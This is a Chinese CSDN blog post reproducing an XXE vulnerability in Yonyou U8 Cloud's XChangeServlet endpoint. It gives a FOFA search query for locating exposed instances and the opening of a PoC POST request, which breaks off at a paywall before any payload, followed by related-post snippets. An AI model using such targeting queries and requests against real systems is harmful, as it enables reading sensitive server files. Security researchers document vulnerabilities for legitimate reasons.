用友U8 Cloud XChangeServlet XXE漏洞复现

已于 2024-04-30 13:13:06 修改
阅读量277 收藏
点赞数
分类专栏： 漏洞复现 文章标签： 安全 web安全
于 2024-04-30 13:12:54 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/138342339
版权

0x01 产品简介

用友U8 Cloud 提供企业级云ERP整体解决方案，全面支持多组织业务协同，实现企业互联网资源连接。 U8 Cloud 亦是亚太地区成长型企业最广泛采用的云解决方案。

0x02 漏洞概述

用友U8 Cloud  XChangeServlet接口处存在 XXE漏洞，攻击者可通过该漏洞获取敏感文件信息，攻击者添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器。

0x03 复现环境

FOFA：app="用友-U8-Cloud"

0x04 漏洞复现

PoC

POST /service/XChangeServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r A
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
XXE漏洞详解【内含vulnhub靶场XXE Lab:1详解】
07-30
内含xxe漏洞原理，以及该漏洞的多种利用方式，同时根据八个具体案例详细描述漏洞的利用方式。 【想要搭建vulnhub内靶场可关注博主，然后私聊我哦】 同时内含vulnhub中xxe lab:1靶场的过关记录 渗透思路： 由于网站...
用友U8 Cloud soapFormat XXE漏洞复现
0xSec
12-27 736
用友U8 Cloud soapFormat.ajax接口处存在 XXE漏洞，攻击者可通过该漏洞获取敏感文件信息，攻击者添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器。
用友 NC IUpdateService XXE漏洞复现
0xSec
01-06 954
用友 NC IUpdateService接口存在XML实体注入漏洞，未经身份认证的攻击者可以通过此漏洞获取敏感信息，读取系统内部文件，使系统处于极不安全状态。
【漏洞复现】用友NC-Cloud soapFormat XXE漏洞
m0_71285176的博客
01-12 547
用友NC-Cloud，大型企业数字化平台， 聚焦数字化管理、数字化经营、数字化商业，帮助大型企业实现人、财、物、客的 全面数字化，从而驱动业务创新与管理变革，与企业管理者一起重新定义未来的高度。该系统/uapws/soapFormat.ajax接口存在XXE漏洞，攻击者可以在xml中构造恶意命令，会导致服务器被远控。
用友GRP-u8 XXE 漏洞复现
Adminxe的博客
09-23 1981
0x00 漏洞描述 用友GRP-u8存在XXE漏洞，该漏洞源于应用程序解析XML输入时没有进制外部实体的加载，导致可加载恶意外部文件。 0x01 漏洞利用条件 无需登录 0x02 漏洞复现 POC: POST /Proxy HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: localhost Content-Lengt...
5、XXE漏洞pdf资料
10-15
5、XXE漏洞
WebGoat8-xxe注入漏洞分析
09-15
WebGoat8-xxe注入漏洞分析
IEN在Web3.0中的性能与安全优势
最新发布
qq_29268247的博客
05-17 379
通过分布式架构、区块链技术和智能数据管理，IEN不仅提高数据传输效率和处理速度，还大幅增强网络安全性和稳定性。通过命名数据网络，IEN实现了高效的数据分发和缓存机制，减少了数据传输路径，提高了网络吞吐量。对比实验表明，IEN在处理并发请求时的延迟减少了40%，传输速率提高了30%。实验结果显示，面对突发流量时，IEN的吞吐量稳定性提高了35%，有效避免了网络拥塞。实验数据显示，IEN的加密机制将数据泄露事件减少了70%，大幅提升了数据隐私保护水平。IEN整合区块链技术，提供去中心化的信任机制。
防静电劳保鞋：工业安全中的隐形守护者
YOUSUTO的博客
05-16 430
因此，防静电措施在工业安全中显得尤为重要。在众多防静电措施中，防静电劳保鞋作为工作人员脚下的隐形守护者，发挥着不可替代的作用。防静电劳保鞋作为工业安全中的隐形守护者，在防止静电危害方面发挥着重要作用。在工业生产中，我们应该充分认识到防静电措施的重要性，并合理选择和使用防静电劳保鞋等防护用品。在电子制造、石油化工、物流运输等行业中，静电可能导致设备损坏、产品性能下降，甚至引发火灾或爆炸。而防静电劳保鞋作为工作人员日常穿着的防护用品，能够在人员走动、操作设备时，有效消除人体静电积聚，减少静电带来的潜在风险。
RSAC 2024观察：软件供应链安全进入AI+时代
lurenjia404的博客
05-15 917
盘点RSAC会议上软件供应链安全议题的特点、趋势及启示。
高效且安全的传输工具：FileLink跨网文件传输
m0_69398711的博客
05-14 462
同时，它还提供了权限控制功能，例如：文件打开次数、访问时间、禁止截屏、禁止复制、禁止打印、显示水印，有效防止了数据泄露和非法访问。然而，FileLink利用先进的网络技术和协议优化，成功打破了这一局限。它提供广泛的集成支持，权限组件、审批组件均开放API，可与企业现有IT系统充分集成，深度支撑与贯通企业跨网业务流程，致力于打造更全面的数据安全平台。综上所述，FileLink跨网文件传输以其出色的跨网络性能、安全性、多功能性、易用性以及集成扩展能力，成为了现代办公和日常生活中不可或缺的文件传输工具。
接口安全设计之防篡改和防重放
记录,交流,共同进步
05-13 768
之所以想跟大家分享怎么做好基础的接口安全，一方面是工作需要，之前这部分的工作是我在负责，所以正好有这部分的经验；二是我之前也接触过很多做后端的同学，对于这一块大部分涉及不深或不太了解，也不知道怎么样做才算相对安全。所以把我的想法写出来，供大家参考和讨论，共同学习和进步。当然了，我分享的也只是我的个人经验，自然有很多的不足之处，也并不是说我后续阐述的一些观点和实现就一定是安全的，大家要加入自己的判断，并且混入一些定制化的东西。
富格林：梳理可信经验保障安全
fgl100的博客
05-13 241
通过多渠道的收集和分析找到市场的波动趋势，在根据趋势的变化进行交易。如果投资者对趋势变化没有把握的话，可以多留意正规专业的交易平台讯息，一般情况下都会给大家分享市场最新的走势变化，阅读贵金属知识课堂的文章就能够知道很多基本面消息，也能学到各种技术分析方法。富格林悉知，现货黄金被视作一种稳健的投资工具，因其对抗通货膨胀和政治不确定性的能力而备受青睐。如果处于亏损状态的时候，应该保持冷静，理性分析市场波动情况，如果亏损情况严重，应该及时离场保住自己的最大利益，重新调整心态再进场。
跨域数据流动：数据提取过程中的治理与安全双轮驱动
Shaidou_Data的博客
05-16 726
跨域数据流动为社会发展带来了极大的便利，但同时也带来了治理和安全的双重挑战。通过构建有序的数据流动体系和加强数据安全保障措施，实现治理与安全的双轮驱动策略，可以确保跨域数据流动的有序性和安全性，为社会发展提供有力支撑。在跨域数据流动的背景下，治理和安全是相辅相成的两个方面。在跨域数据流动的背景下，数据治理显得尤为重要。数据治理旨在确保数据的合法性、合规性和有效性，从而保障数据流动的有序性。数据安全旨在防止数据泄露、篡改和滥用，保障数据流动的安全性和可靠性。一、数据治理：构建有序的跨域数据流动体系。
【计算机网络】http协议的原理与应用，以及https是如何保证安全传输的
heikewhite的博客
05-14 880
TLS的全称是Transport Layer Security，即安全传输层协议，最新版本的TLS（Transport Layer Security，传输层安全协议）是IETF（Internet Engineering Task Force，Internet工程任务组）制定的一种新的协议，它建立在SSL 3.0协议规范之上，是SSL 3.0的后续版本。但是无连接有两种方式，早期的http协议是一个请求一个响应之后，直接就断开了，但是现在的http协议1.1版本不是直接就断开了，而是等几秒钟，
SOCKS5代理：提升网络性能与安全的关键
yls5yl的博客
05-16 242
SOCKS5代理是一种高级网络代理协议，能够处理多种类型的网络请求，包括TCP和UDP。这使得SOCKS5代理在跨国数据传输和网络性能优化方面具有显著优势。
geoserver xxe漏洞
09-02
Geoserver是一个开源的地理信息系统（GIS）软件，它用于发布和共享地理数据和服务。然而，Geoserver在某些情况下可能存在一个称为XXE（XML外部实体）漏洞。 XXE漏洞是一种安全漏洞，攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时，对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞，它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求，来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用，有几个关键的步骤可以采取： 1. 更新Geoserver：确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修复已知的漏洞，并在新版本中发布修复程序。 2. 安全的配置文件处理：确保Geoserver的配置文件中没有不必要的文件，因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入：在输入和输出时，对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识：向Geoserver用户和管理员提供适当的培训，以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之，Geoserver XXE漏洞是一种可以利用的安全漏洞，但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识，可以有效地减少这种漏洞的风险。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值